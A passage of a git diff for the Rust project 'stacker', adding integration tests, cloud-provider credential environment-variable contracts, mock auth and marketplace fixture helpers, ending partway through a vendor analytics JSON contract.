+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+#[test]
+fn test_version_matches_formatted_build_version() {
+    stacker_cmd()
+        .arg("--version")
+        .assert()
+        .success()
+        .stdout(format!("{}\n", stacker::version::display_version()));
+}
diff --git a/tests/cloud.rs b/tests/cloud.rs
index af87cc59..dfd238d0 100644
--- a/tests/cloud.rs
+++ b/tests/cloud.rs
@@ -10,13 +10,13 @@ async fn list() {
     let client = reqwest::Client::new(); // client
 
     let response = client
-        .get(&format!("{}/cloud", &app.address))
+        .get(format!("{}/cloud", &app.address))
+        .header("Authorization", "Bearer test_token")
         .send()
         .await
         .expect("Failed to execute request.");
 
     assert!(response.status().is_success());
-    assert_eq!(Some(0), response.content_length());
 }
 
 // test me: cargo t --test cloud add_cloud -- --nocapture --show-output
@@ -28,25 +28,19 @@ async fn add_cloud() {
     }; // server
     let client = reqwest::Client::new(); // client
 
-    let data = r#"
-    {
-        "user_id": "fake_user_id",
+    let data = serde_json::json!({
         "provider": "htz",
-        "cloud_token": "",
-        "cloud_key": "",
-        "cloud_secret": "",
-        "save_token": true
-    }
-    "#;
+        "save_token": false
+    });
 
     let response = client
-        .post(&format!("{}/cloud", &app.address))
-        .json(data)
+        .post(format!("{}/cloud", &app.address))
+        .header("Authorization", "Bearer test_token")
+        .json(&data)
         .send()
         .await
         .expect("Failed to execute request.");
 
     println!("response: {}", response.status());
     assert!(response.status().is_success());
-    assert_eq!(Some(0), response.content_length());
 }
diff --git a/tests/cloud_provider_env_contract.rs b/tests/cloud_provider_env_contract.rs
new file mode 100644
index 00000000..8c631598
--- /dev/null
+++ b/tests/cloud_provider_env_contract.rs
@@ -0,0 +1,175 @@
+use serde_json::Value;
+use stacker::cli::cloud_env;
+
+/// Load the shared cloud env contract.
+///
+/// Note: This contract is mirrored from
+/// ../config/shared-fixtures/cloud-provider-env-vars.json
+/// to stacker/tests/contracts/cloud-provider-env-vars.contract.json
+/// for reliable CI access.
+fn load_contract() -> Value {
+    let contract_json = include_str!("contracts/cloud-provider-env-vars.contract.json");
+    serde_json::from_str(contract_json).expect("contract JSON should be valid")
+}
+
+fn as_str_vec(values: &Value) -> Vec<&str> {
+    values
+        .as_array()
+        .expect("value should be an array")
+        .iter()
+        .map(|value| value.as_str().expect("array entry should be a string"))
+        .collect()
+}
+
+fn extract_env_tokens(text: &str) -> Vec<&str> {
+    text.split(|ch: char| !(ch.is_ascii_uppercase() || ch.is_ascii_digit() || ch == '_'))
+        .filter(|token| !token.is_empty() && token.contains('_'))
+        .collect()
+}
+
+#[test]
+fn cloud_env_contract_has_expected_metadata() {
+    let contract = load_contract();
+
+    assert_eq!(contract["title"].as_str(), Some("cloud-provider-env-vars"));
+    assert_eq!(contract["_owner"].as_str(), Some("trydirect/config"));
+}
+
+#[test]
+fn token_provider_env_lists_match_contract() {
+    let contract = load_contract();
+
+    assert_eq!(
+        as_str_vec(&contract["providers"]["hetzner"]["acceptedTokenEnvOrder"]),
+        cloud_env::HETZNER_TOKEN_ENV_VARS
+    );
+    assert_eq!(
+        as_str_vec(&contract["providers"]["digitalocean"]["acceptedTokenEnvOrder"]),
+        cloud_env::DIGITALOCEAN_TOKEN_ENV_VARS
+    );
+    assert_eq!(
+        as_str_vec(&contract["providers"]["linode"]["acceptedTokenEnvOrder"]),
+        cloud_env::LINODE_TOKEN_ENV_VARS
+    );
+    assert_eq!(
+        as_str_vec(&contract["providers"]["vultr"]["acceptedTokenEnvOrder"]),
+        cloud_env::VULTR_TOKEN_ENV_VARS
+    );
+}
+
+#[test]
+fn aws_and_contabo_env_lists_match_contract() {
+    let contract = load_contract();
+
+    assert_eq!(
+        as_str_vec(&contract["providers"]["aws"]["acceptedKeyEnvOrder"]),
+        cloud_env::AWS_KEY_ENV_VARS
+    );
+    assert_eq!(
+        as_str_vec(&contract["providers"]["aws"]["acceptedSecretEnvOrder"]),
+        cloud_env::AWS_SECRET_ENV_VARS
+    );
+    assert_eq!(
+        as_str_vec(&contract["providers"]["contabo"]["acceptedFieldEnvOrder"]["cloud_key"]),
+        cloud_env::CONTABO_CLIENT_ID_ENV_VARS
+    );
+    assert_eq!(
+        as_str_vec(&contract["providers"]["contabo"]["acceptedFieldEnvOrder"]["cloud_token"]),
+        cloud_env::CONTABO_CLIENT_SECRET_ENV_VARS
+    );
+    assert_eq!(
+        as_str_vec(&contract["providers"]["contabo"]["acceptedFieldEnvOrder"]["cloud_user"]),
+        cloud_env::CONTABO_API_USER_ENV_VARS
+    );
+    assert_eq!(
+        as_str_vec(&contract["providers"]["contabo"]["acceptedFieldEnvOrder"]["cloud_password"]),
+        cloud_env::CONTABO_API_PASSWORD_ENV_VARS
+    );
+}
+
+#[test]
+fn install_service_field_mapping_matches_contract() {
+    let contract = load_contract();
+
+    for provider in ["hetzner", "digitalocean", "linode", "vultr"] {
+        assert_eq!(
+            contract["providers"][provider]["installField"].as_str(),
+            Some("cloud_token")
+        );
+    }
+
+    assert_eq!(
+        contract["providers"]["aws"]["installKeyField"].as_str(),
+        Some("cloud_key")
+    );
+    assert_eq!(
+        contract["providers"]["aws"]["installSecretField"].as_str(),
+        Some("cloud_secret")
+    );
+}
+
+#[test]
+fn cli_examples_match_contract() {
+    let contract = load_contract();
+
+    assert_eq!(
+        contract["providers"]["hetzner"]["cliExample"].as_str(),
+        Some(cloud_env::provider_cli_example("htz"))
+    );
+    assert_eq!(
+        contract["providers"]["digitalocean"]["cliExample"].as_str(),
+        Some(cloud_env::provider_cli_example("do"))
+    );
+    assert_eq!(
+        contract["providers"]["linode"]["cliExample"].as_str(),
+        Some(cloud_env::provider_cli_example("lo"))
+    );
+    assert_eq!(
+        contract["providers"]["vultr"]["cliExample"].as_str(),
+        Some(cloud_env::provider_cli_example("vu"))
+    );
+    assert_eq!(
+        contract["providers"]["aws"]["cliExample"].as_str(),
+        Some(cloud_env::provider_cli_example("aws"))
+    );
+}
+
+#[test]
+fn deprecated_env_names_do_not_reappear_in_examples_or_hints() {
+    let contract = load_contract();
+
+    for provider in [
+        ("hetzner", "htz"),
+        ("digitalocean", "do"),
+        ("linode", "lo"),
+        ("vultr", "vu"),
+        ("aws", "aws"),
+        ("contabo", "cnt"),
+    ] {
+        let deprecated = contract["providers"][provider.0]["deprecatedEnv"]
+            .as_array()
+            .expect("deprecatedEnv should be an array");
+        let example = cloud_env::provider_cli_example(provider.1);
+        let hint = cloud_env::provider_missing_credentials_hint(provider.1);
+        let example_tokens = extract_env_tokens(example);
+        let hint_tokens = extract_env_tokens(hint);
+
+        for env_name in deprecated {
+            let env_name = env_name
+                .as_str()
+                .expect("deprecatedEnv entry should be a string");
+            assert!(
+                !example_tokens.contains(&env_name),
+                "example for {} must not contain deprecated env {}",
+                provider.0,
+                env_name
+            );
+            assert!(
+                !hint_tokens.contains(&env_name),
+                "hint for {} must not contain deprecated env {}",
+                provider.0,
+                env_name
+            );
+        }
+    }
+}
diff --git a/tests/common/mod.rs b/tests/common/mod.rs
index faa9858c..88cfe7ad 100644
--- a/tests/common/mod.rs
+++ b/tests/common/mod.rs
@@ -1,12 +1,26 @@
+#![allow(
+    dead_code,
+    clippy::field_reassign_with_default,
+    clippy::let_underscore_future
+)]
+
 use actix_web::{get, web, App, HttpServer, Responder};
+use serde::Deserialize;
+use sqlx::Row;
 use sqlx::{Connection, Executor, PgConnection, PgPool};
 use stacker::configuration::{get_configuration, DatabaseSettings, Settings};
+use stacker::connectors::config::UserServiceConfig;
 use stacker::forms;
 use stacker::helpers::AgentPgPool;
 use std::net::TcpListener;
+use std::path::{Path, PathBuf};
+use std::sync::OnceLock;
 use wiremock::MockServer;
+static ACCESS_CONTROL_CONF_READY: OnceLock<()> = OnceLock::new();
 
 pub async fn spawn_app_with_configuration(mut configuration: Settings) -> Option<TestApp> {
+    ensure_test_access_control_conf();
+
     let listener = std::net::TcpListener::bind("127.0.0.1:0").expect("Failed to bind random port");
 
     let port = listener.local_addr().unwrap().port();
@@ -38,6 +52,7 @@ pub async fn spawn_app_with_configuration(mut configuration: Settings) -> Option
 
 pub async fn spawn_app() -> Option<TestApp> {
     let mut configuration = get_configuration().expect("Failed to get configuration");
+    apply_test_database_env_overrides(&mut configuration);
 
     let listener = std::net::TcpListener::bind("127.0.0.1:0")
         .expect("Failed to bind port for testing auth server");
@@ -67,6 +82,60 @@ pub async fn spawn_app() -> Option<TestApp> {
     spawn_app_with_configuration(configuration).await
 }
 
+pub async fn spawn_app_with_test_auth_configuration(
+    mut configuration: Settings,
+) -> Option<TestApp> {
+    apply_test_database_env_overrides(&mut configuration);
+
+    let listener = std::net::TcpListener::bind("127.0.0.1:0")
+        .expect("Failed to bind port for testing auth server");
+
+    configuration.auth_url = format!(
+        "http://127.0.0.1:{}/me",
+        listener.local_addr().unwrap().port()
+    );
+
+    let _ = tokio::spawn(mock_auth_server(listener));
+    tokio::time::sleep(std::time::Duration::from_millis(500)).await;
+
+    spawn_app_with_configuration(configuration).await
+}
+
+fn apply_test_database_env_overrides(configuration: &mut Settings) {
+    if let Ok(host) = std::env::var("PGHOST") {
+        configuration.database.host = host;
+    }
+    if let Ok(port) = std::env::var("PGPORT") {
+        if let Ok(parsed) = port.parse::<u16>() {
+            configuration.database.port = parsed;
+        }
+    }
+    if let Ok(username) = std::env::var("PGUSER") {
+        configuration.database.username = username;
+    }
+    if let Ok(password) = std::env::var("PGPASSWORD") {
+        configuration.database.password = password;
+    }
+}
+
+fn ensure_test_access_control_conf() {
+    ACCESS_CONTROL_CONF_READY.get_or_init(|| {
+        let manifest_dir = Path::new(env!("CARGO_MANIFEST_DIR"));
+        std::env::set_current_dir(manifest_dir).expect("Failed to switch tests to repo root");
+
+        let primary = manifest_dir.join("access_control.conf");
+        if primary.exists() {
+            return;
+        }
+
+        let dist = manifest_dir.join("access_control.conf.dist");
+        if dist.exists() {
+            std::fs::copy(dist, primary)
+                .expect("Failed to provision access_control.conf for tests");
+        }
+    });
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Multi-user test infrastructure for IDOR security tests
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -90,8 +159,27 @@ pub struct TwoUserTestApp {
 /// - Bearer token containing "user-b" → returns User B (other_user_id)
 /// - Any other Bearer token → returns User A (test_user_id)
 pub async fn spawn_app_two_users() -> Option<TwoUserTestApp> {
+    let configuration = get_configuration().expect("Failed to get configuration");
+    spawn_app_two_users_with_configuration(configuration).await
+}
+
+pub async fn spawn_app_two_users_with_user_service(
+    user_service_base_url: &str,
+) -> Option<TwoUserTestApp> {
     let mut configuration = get_configuration().expect("Failed to get configuration");
+    configuration.connectors.user_service = Some(UserServiceConfig {
+        enabled: true,
+        base_url: user_service_base_url.trim_end_matches('/').to_string(),
+        timeout_secs: 10,
+        retry_attempts: 1,
+        auth_token: None,
+    });
+    spawn_app_two_users_with_configuration(configuration).await
+}
 
+pub async fn spawn_app_two_users_with_configuration(
+    mut configuration: Settings,
+) -> Option<TwoUserTestApp> {
     let auth_listener = std::net::TcpListener::bind("127.0.0.1:0")
         .expect("Failed to bind port for testing auth server");
 
@@ -113,8 +201,7 @@ pub async fn spawn_app_two_users() -> Option<TwoUserTestApp> {
         }
     };
 
-    let app_listener =
-        std::net::TcpListener::bind("127.0.0.1:0").expect("Failed to bind app port");
+    let app_listener = std::net::TcpListener::bind("127.0.0.1:0").expect("Failed to bind app port");
     let port = app_listener.local_addr().unwrap().port();
     let address = format!("http://127.0.0.1:{}", port);
 
@@ -161,14 +248,12 @@ async fn mock_auth_two_users(req: actix_web::HttpRequest) -> actix_web::Result<i
 }
 
 async fn mock_auth_server_two_users(listener: TcpListener) {
-    HttpServer::new(|| {
-        App::new().service(web::scope("/me").service(mock_auth_two_users))
-    })
-    .listen(listener)
-    .unwrap()
-    .run()
-    .await
-    .unwrap();
+    HttpServer::new(|| App::new().service(web::scope("/me").service(mock_auth_two_users)))
+        .listen(listener)
+        .unwrap()
+        .run()
+        .await
+        .unwrap();
 }
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -177,14 +262,40 @@ async fn mock_auth_server_two_users(listener: TcpListener) {
 
 /// Insert a minimal cloud credential into the DB and return its id.
 pub async fn create_test_cloud(pool: &PgPool, user_id: &str, name: &str, provider: &str) -> i32 {
+    let cloud_form = forms::CloudForm {
+        user_id: Some(user_id.to_string()),
+        project_id: None,
+        name: Some(name.to_string()),
+        provider: provider.to_string(),
+        cloud_token: Some("test-cloud-token".to_string()),
+        cloud_key: None,
+        cloud_secret: None,
+        save_token: Some(true),
+    };
+
+    let cloud: stacker::models::Cloud = (&cloud_form).into();
     sqlx::query(
-        r#"INSERT INTO cloud (user_id, name, provider, cloud_token, save_token, created_at, updated_at)
-        VALUES ($1, $2, $3, 'test-token-encrypted', true, NOW(), NOW())
+        r#"INSERT INTO cloud (
+            user_id,
+            name,
+            provider,
+            cloud_token,
+            cloud_key,
+            cloud_secret,
+            save_token,
+            created_at,
+            updated_at
+        )
+        VALUES ($1, $2, $3, $4, $5, $6, $7, NOW(), NOW())
         RETURNING id"#,
     )
-    .bind(user_id)
-    .bind(name)
-    .bind(provider)
+    .bind(cloud.user_id)
+    .bind(cloud.name)
+    .bind(cloud.provider)
+    .bind(cloud.cloud_token)
+    .bind(cloud.cloud_key)
+    .bind(cloud.cloud_secret)
+    .bind(cloud.save_token)
     .fetch_one(pool)
     .await
     .map(|row| {
@@ -202,8 +313,17 @@ pub async fn create_test_deployment(
     deployment_hash: &str,
 ) -> i32 {
     sqlx::query(
-        r#"INSERT INTO deployment (project_id, deployment_hash, user_id, status, runtime, created_at, updated_at)
-        VALUES ($1, $2, $3, 'running', 'runc', NOW(), NOW())
+        r#"INSERT INTO deployment (
+            project_id,
+            deployment_hash,
+            user_id,
+            metadata,
+            status,
+            runtime,
+            created_at,
+            updated_at
+        )
+        VALUES ($1, $2, $3, '{}'::jsonb, 'running', 'runc', NOW(), NOW())
         RETURNING id"#,
     )
     .bind(project_id)
@@ -235,6 +355,262 @@ pub async fn create_test_client(pool: &PgPool, user_id: &str) -> i32 {
     .expect("Failed to insert test client")
 }
 
+#[derive(Debug, Clone, Deserialize)]
+pub struct MarketplaceVendorFixture {
+    pub creator_user_id: String,
+    pub public_slug: String,
+    pub display_name: String,
+    pub bio: Option<String>,
+    pub avatar_url: Option<String>,
+    pub website_url: Option<String>,
+    pub verification_status: String,
+    pub onboarding_status: String,
+    pub payouts_enabled: bool,
+    pub payout_provider: Option<String>,
+    pub payout_account_ref: Option<String>,
+    pub metadata: serde_json::Value,
+}
+
+#[derive(Debug, Clone, Deserialize)]
+pub struct MarketplaceTemplateFixture {
+    pub creator_user_id: String,
+    pub creator_name: String,
+    pub name: String,
+    pub slug: String,
+    pub status: String,
+    pub short_description: Option<String>,
+    pub long_description: Option<String>,
+    pub tags: serde_json::Value,
+    pub tech_stack: serde_json::Value,
+    pub vendor_url: Option<String>,
+}
+
+fn shared_fixtures_root() -> PathBuf {
+    if let Ok(path) = std::env::var("SHARED_FIXTURES_DIR") {
+        return PathBuf::from(path);
+    }
+
+    Path::new(env!("CARGO_MANIFEST_DIR"))
+        .parent()
+        .unwrap_or_else(|| Path::new(env!("CARGO_MANIFEST_DIR")))
+        .join("config/shared-fixtures")
+}
+
+fn read_marketplace_shared_fixture(file_name: &str) -> String {
+    let shared_path = shared_fixtures_root().join("marketplace").join(file_name);
+    if shared_path.exists() {
+        return std::fs::read_to_string(&shared_path).unwrap_or_else(|err| {
+            panic!(
+                "Failed to read shared fixture {}: {}",
+                shared_path.display(),
+                err
+            )
+        });
+    }
+
+    let fallback_path = Path::new(env!("CARGO_MANIFEST_DIR"))
+        .join("tests/fixtures/shared/marketplace")
+        .join(file_name);
+    std::fs::read_to_string(&fallback_path).unwrap_or_else(|err| {
+        panic!(
+            "Failed to read fallback fixture {}: {}",
+            fallback_path.display(),
+            err
+        )
+    })
+}
+
+pub fn marketplace_vendor_fixtures() -> Vec<MarketplaceVendorFixture> {
+    serde_json::from_str(&read_marketplace_shared_fixture("vendors.json"))
+        .expect("marketplace vendor fixtures should be valid JSON")
+}
+
+pub fn marketplace_template_fixtures() -> Vec<MarketplaceTemplateFixture> {
+    serde_json::from_str(&read_marketplace_shared_fixture("templates.json"))
+        .expect("marketplace template fixtures should be valid JSON")
+}
+
+pub async fn seed_marketplace_vendor_fixture(
+    pool: &PgPool,
+    public_slug: &str,
+) -> MarketplaceVendorFixture {
+    let vendor = marketplace_vendor_fixtures()
+        .into_iter()
+        .find(|fixture| fixture.public_slug == public_slug)
+        .unwrap_or_else(|| panic!("Unknown marketplace vendor fixture: {}", public_slug));
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            public_slug,
+            display_name,
+            bio,
+            avatar_url,
+            website_url,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12)
+        ON CONFLICT (creator_user_id) DO UPDATE SET
+            public_slug = EXCLUDED.public_slug,
+            display_name = EXCLUDED.display_name,
+            bio = EXCLUDED.bio,
+            avatar_url = EXCLUDED.avatar_url,
+            website_url = EXCLUDED.website_url,
+            verification_status = EXCLUDED.verification_status,
+            onboarding_status = EXCLUDED.onboarding_status,
+            payouts_enabled = EXCLUDED.payouts_enabled,
+            payout_provider = EXCLUDED.payout_provider,
+            payout_account_ref = EXCLUDED.payout_account_ref,
+            metadata = EXCLUDED.metadata,
+            updated_at = NOW()"#,
+    )
+    .bind(&vendor.creator_user_id)
+    .bind(&vendor.public_slug)
+    .bind(&vendor.display_name)
+    .bind(&vendor.bio)
+    .bind(&vendor.avatar_url)
+    .bind(&vendor.website_url)
+    .bind(&vendor.verification_status)
+    .bind(&vendor.onboarding_status)
+    .bind(vendor.payouts_enabled)
+    .bind(&vendor.payout_provider)
+    .bind(&vendor.payout_account_ref)
+    .bind(&vendor.metadata)
+    .execute(pool)
+    .await
+    .expect("Failed to seed marketplace vendor fixture");
+
+    vendor
+}
+
+pub async fn seed_marketplace_template_fixtures_for_vendor(
+    pool: &PgPool,
+    creator_user_id: &str,
+) -> Vec<MarketplaceTemplateFixture> {
+    let templates = marketplace_template_fixtures()
+        .into_iter()
+        .filter(|fixture| fixture.creator_user_id == creator_user_id)
+        .collect::<Vec<_>>();
+
+    for template in &templates {
+        sqlx::query(
+            r#"INSERT INTO stack_template (
+                creator_user_id,
+                creator_name,
+                name,
+                slug,
+                status,
+                short_description,
+                long_description,
+                tags,
+                tech_stack,
+                vendor_url,
+                approved_at
+            )
+            VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10,
+                CASE WHEN $5 = 'approved' THEN NOW() ELSE NULL END
+            )
+            ON CONFLICT (slug) DO UPDATE SET
+                creator_user_id = EXCLUDED.creator_user_id,
+                creator_name = EXCLUDED.creator_name,
+                name = EXCLUDED.name,
+                status = EXCLUDED.status,
+                short_description = EXCLUDED.short_description,
+                long_description = EXCLUDED.long_description,
+                tags = EXCLUDED.tags,
+                tech_stack = EXCLUDED.tech_stack,
+                vendor_url = EXCLUDED.vendor_url,
+                approved_at = EXCLUDED.approved_at"#,
+        )
+        .bind(&template.creator_user_id)
+        .bind(&template.creator_name)
+        .bind(&template.name)
+        .bind(&template.slug)
+        .bind(&template.status)
+        .bind(&template.short_description)
+        .bind(&template.long_description)
+        .bind(&template.tags)
+        .bind(&template.tech_stack)
+        .bind(&template.vendor_url)
+        .execute(pool)
+        .await
+        .expect("Failed to seed marketplace template fixture");
+    }
+
+    templates
+}
+
+pub async fn seed_marketplace_template_ratings_for_vendor(pool: &PgPool, creator_user_id: &str) {
+    let ratings_by_slug: std::collections::BTreeMap<&str, &[i32]> =
+        std::collections::BTreeMap::from([
+            // Internal rating storage is 0-10; public/template APIs expose 1-5 stars.
+            ("wordpress-pro", &[10, 8][..]),
+            ("postgres-backup", &[6][..]),
+        ]);
+
+    let templates = sqlx::query(
+        r#"SELECT id, slug FROM stack_template
+           WHERE creator_user_id = $1 AND status = 'approved'
+           ORDER BY slug"#,
+    )
+    .bind(creator_user_id)
+    .fetch_all(pool)
+    .await
+    .expect("Failed to fetch seeded marketplace templates for ratings");
+
+    for (index, row) in templates.iter().enumerate() {
+        let slug: String = row.get("slug");
+        let product_id = 910_000 + index as i32;
+
+        sqlx::query(
+            r#"INSERT INTO product (id, obj_id, obj_type, created_at, updated_at)
+               VALUES ($1, $1, 'marketplace_template', NOW(), NOW())
+               ON CONFLICT (id) DO NOTHING"#,
+        )
+        .bind(product_id)
+        .execute(pool)
+        .await
+        .expect("Failed to seed marketplace product for ratings");
+
+        sqlx::query("UPDATE stack_template SET product_id = $2 WHERE slug = $1")
+            .bind(&slug)
+            .bind(product_id)
+            .execute(pool)
+            .await
+            .expect("Failed to attach product_id to marketplace template");
+
+        if let Some(ratings) = ratings_by_slug.get(slug.as_str()) {
+            for (rating_index, rating_value) in ratings.iter().enumerate() {
+                sqlx::query(
+                    r#"INSERT INTO rating (
+                        user_id,
+                        obj_id,
+                        category,
+                        comment,
+                        hidden,
+                        rate,
+                        created_at,
+                        updated_at
+                    )
+                    VALUES ($1, $2, 'application', $3, false, $4, NOW(), NOW())"#,
+                )
+                .bind(format!("rating-user-{}-{}", slug, rating_index))
+                .bind(product_id)
+                .bind(format!("rating {} for {}", rating_index, slug))
+                .bind(*rating_value)
+                .execute(pool)
+                .await
+                .expect("Failed to seed marketplace rating");
+            }
+        }
+    }
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Original infrastructure
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -286,6 +662,8 @@ pub async fn spawn_app_with_vault() -> Option<TestAppWithVault> {
     configuration.vault.token = "test-vault-token".to_string();
     configuration.vault.api_prefix = "v1".to_string();
     configuration.vault.ssh_key_path_prefix = Some("users".to_string());
+    configuration.connectors.install_service =
+        Some(stacker::connectors::InstallServiceConfig { enabled: false });
 
     configuration.database.database_name = uuid::Uuid::new_v4().to_string();
 
@@ -302,9 +680,14 @@ pub async fn spawn_app_with_vault() -> Option<TestAppWithVault> {
     let address = format!("http://127.0.0.1:{}", port);
 
     let agent_pool = AgentPgPool::new(connection_pool.clone());
-    let server = stacker::startup::run(app_listener, connection_pool.clone(), agent_pool, configuration)
-        .await
-        .expect("Failed to bind address.");
+    let server = stacker::startup::run(
+        app_listener,
+        connection_pool.clone(),
+        agent_pool,
+        configuration,
+    )
+    .await
+    .expect("Failed to bind address.");
     let _ = tokio::spawn(server);
 
     Some(TestAppWithVault {
@@ -318,8 +701,8 @@ pub async fn spawn_app_with_vault() -> Option<TestAppWithVault> {
 /// Required because server.project_id has a FK constraint to project(id).
 pub async fn create_test_project(pool: &PgPool, user_id: &str) -> i32 {
     sqlx::query(
-        r#"INSERT INTO project (stack_id, user_id, name, body, created_at, updated_at)
-        VALUES (gen_random_uuid(), $1, 'Test Project', '{}', NOW(), NOW())
+        r#"INSERT INTO project (stack_id, user_id, name, metadata, request_json, created_at, updated_at)
+        VALUES (gen_random_uuid(), $1, 'Test Project', '{}'::jsonb, '{}'::jsonb, NOW(), NOW())
         RETURNING id"#,
     )
     .bind(user_id)
diff --git a/tests/contracts/cloud-provider-env-vars.contract.json b/tests/contracts/cloud-provider-env-vars.contract.json
new file mode 100644
index 00000000..fdbb6ed5
--- /dev/null
+++ b/tests/contracts/cloud-provider-env-vars.contract.json
@@ -0,0 +1,117 @@
+{
+  "$schema": "http://json-schema.org/draft-07/schema#",
+  "title": "cloud-provider-env-vars",
+  "description": "Canonical cloud credential environment variable names shared across TryDirect services and CLIs.",
+  "_owner": "trydirect/config",
+  "_consumers": [
+    "stacker",
+    "try.direct.install.service",
+    "blog",
+    "try.direct.admin.frontend"
+  ],
+  "_notes": [
+    "Service code and user-facing help must use only the canonical names and aliases listed here.",
+    "Deprecated ad-hoc aliases must not be reintroduced in individual services."
+  ],
+  "providers": {
+    "hetzner": {
+      "providerCode": "htz",
+      "credentialStyle": "token",
+      "installField": "cloud_token",
+      "acceptedTokenEnvOrder": [
+        "STACKER_CLOUD_TOKEN",
+        "STACKER_HETZNER_TOKEN",
+        "HCLOUD_TOKEN"
+      ],
+      "preferredTokenEnv": "HCLOUD_TOKEN",
+      "cliExample": "HCLOUD_TOKEN=<token> stacker deploy --target cloud",
+      "deprecatedEnv": [
+        "HETZNER_TOKEN"
+      ]
+    },
+    "digitalocean": {
+      "providerCode": "do",
+      "credentialStyle": "token",
+      "installField": "cloud_token",
+      "acceptedTokenEnvOrder": [
+        "STACKER_CLOUD_TOKEN",
+        "STACKER_DIGITALOCEAN_TOKEN",
+        "DIGITALOCEAN_TOKEN"
+      ],
+      "preferredTokenEnv": "DIGITALOCEAN_TOKEN",
+      "cliExample": "DIGITALOCEAN_TOKEN=<token> stacker deploy --target cloud",
+      "deprecatedEnv": [
+        "DO_API_TOKEN"
+      ]
+    },
+    "linode": {
+      "providerCode": "lo",
+      "credentialStyle": "token",
+      "installField": "cloud_token",
+      "acceptedTokenEnvOrder": [
+        "STACKER_CLOUD_TOKEN",
+        "STACKER_LINODE_TOKEN",
+        "LINODE_TOKEN"
+      ],
+      "preferredTokenEnv": "LINODE_TOKEN",
+      "cliExample": "LINODE_TOKEN=<token> stacker deploy --target cloud",
+      "deprecatedEnv": []
+    },
+    "vultr": {
+      "providerCode": "vu",
+      "credentialStyle": "token",
+      "installField": "cloud_token",
+      "acceptedTokenEnvOrder": [
+        "STACKER_CLOUD_TOKEN",
+        "STACKER_VULTR_TOKEN",
+        "VULTR_API_KEY"
+      ],
+      "preferredTokenEnv": "VULTR_API_KEY",
+      "cliExample": "VULTR_API_KEY=<key> stacker deploy --target cloud",
+      "deprecatedEnv": [
+        "VULTR_TOKEN"
+      ]
+    },
+    "aws": {
+      "providerCode": "aws",
+      "credentialStyle": "key_secret",
+      "installKeyField": "cloud_key",
+      "installSecretField": "cloud_secret",
+      "acceptedKeyEnvOrder": [
+        "STACKER_CLOUD_KEY",
+        "AWS_ACCESS_KEY_ID"
+      ],
+      "acceptedSecretEnvOrder": [
+        "STACKER_CLOUD_SECRET",
+        "AWS_SECRET_ACCESS_KEY"
+      ],
+      "cliExample": "AWS_ACCESS_KEY_ID=<key> AWS_SECRET_ACCESS_KEY=<secret> stacker deploy --target cloud",
+      "deprecatedEnv": []
+    },
+    "contabo": {
+      "providerCode": "cnt",
+      "credentialStyle": "multi_field",
+      "acceptedFieldEnvOrder": {
+        "cloud_key": [
+          "STACKER_CONTABO_CLIENT_ID"
+        ],
+        "cloud_token": [
+          "STACKER_CONTABO_CLIENT_SECRET"
+        ],
+        "cloud_user": [
+          "STACKER_CONTABO_API_USER"
+        ],
+        "cloud_password": [
+          "STACKER_CONTABO_API_PASSWORD"
+        ]
+      },
+      "cliExample": "STACKER_CONTABO_CLIENT_ID=<id> STACKER_CONTABO_CLIENT_SECRET=<secret> STACKER_CONTABO_API_USER=<user> STACKER_CONTABO_API_PASSWORD=<password> stacker deploy --target cloud",
+      "deprecatedEnv": [
+        "CNT_CLIENT_ID",
+        "CNT_CLIENT_SECRET",
+        "CNT_API_USER",
+        "CNT_API_PASSWORD"
+      ]
+    }
+  }
+}
diff --git a/tests/contracts/marketplace-vendor-analytics.contract.json b/tests/contracts/marketplace-vendor-analytics.contract.json
new file mode 100644
index 00000000..3a581bca
--- /dev/null
+++ b/tests/contracts/marketplace-vendor-analytics.contract.json
@@ -0,0 +1,260 @@
+{
+  "$schema": "http://json-schema.org/draft-07/schema#",
+  "title": "marketplace-vendor-analytics",
+  "description": "Canonical response contract for vendor Marketplace Analytics APIs. Stacker owns stack/template usage metrics only: views, deployments, cloud breakdown, conversion, and template performance.",
+  "_owner": "stacker",
+  "_consumers": [
+    "blog",
+    "stacker",
+    "try.direct.user.service"
+  ],
+  "_notes": [
+    "Stacker analytics must not include withdrawal, payout, banking, provider transfer, or balance fields.",
+    "Revenue and sales fields may be merged by Blog from User Service earnings/analytics, but Stacker remains the owner of template usage metrics.",
+    "All metrics must be scoped to the authenticated creator/vendor.",
+    "Period series must return zero-filled buckets for the requested range so charts do not infer missing dates."
+  ],
+  "endpoints": {
+    "vendor-template-analytics": {
+      "method": "GET",
+      "path": "/api/templates/mine/analytics",
+      "auth": "OAuth Bearer (profile scope)",
+      "ownerService": "stacker",
+      "query": {
+        "period": {
+          "type": "string",
+          "enum": ["7d", "30d", "90d", "all", "custom"],
+          "required": false,
+          "default": "30d"
+        },
+        "startDate": {
+          "type": "string",
+          "format": "date-time",
+          "required": false,
+          "description": "Required when period=custom."
+        },
+        "endDate": {
+          "type": "string",
+          "format": "date-time",
+          "required": false,
+          "description": "Required when period=custom."
+        },
+        "templateId": {
+          "type": "string",
+          "format": "uuid",
+          "required": false,
+          "description": "Optional filter for one owned marketplace template."
+        }
+      },
+      "response": {
+        "type": "object",
+        "required": [
+          "creatorId",
+          "period",
+          "summary",
+          "viewsSeries",
+          "deploymentsSeries",
+          "cloudBreakdown",
+          "topTemplates",
+          "templates"
+        ],
+        "properties": {
+          "creatorId": {
+            "type": "string",
+            "description": "Authenticated Stacker creator user id."
+          },
+          "period": {
+            "type": "object",
+            "required": ["key", "startDate", "endDate", "bucket"],
+            "properties": {
+              "key": {
+                "type": "string",
+                "enum": ["7d", "30d", "90d", "all", "custom"]
+              },
+              "startDate": {
+                "type": ["string", "null"],
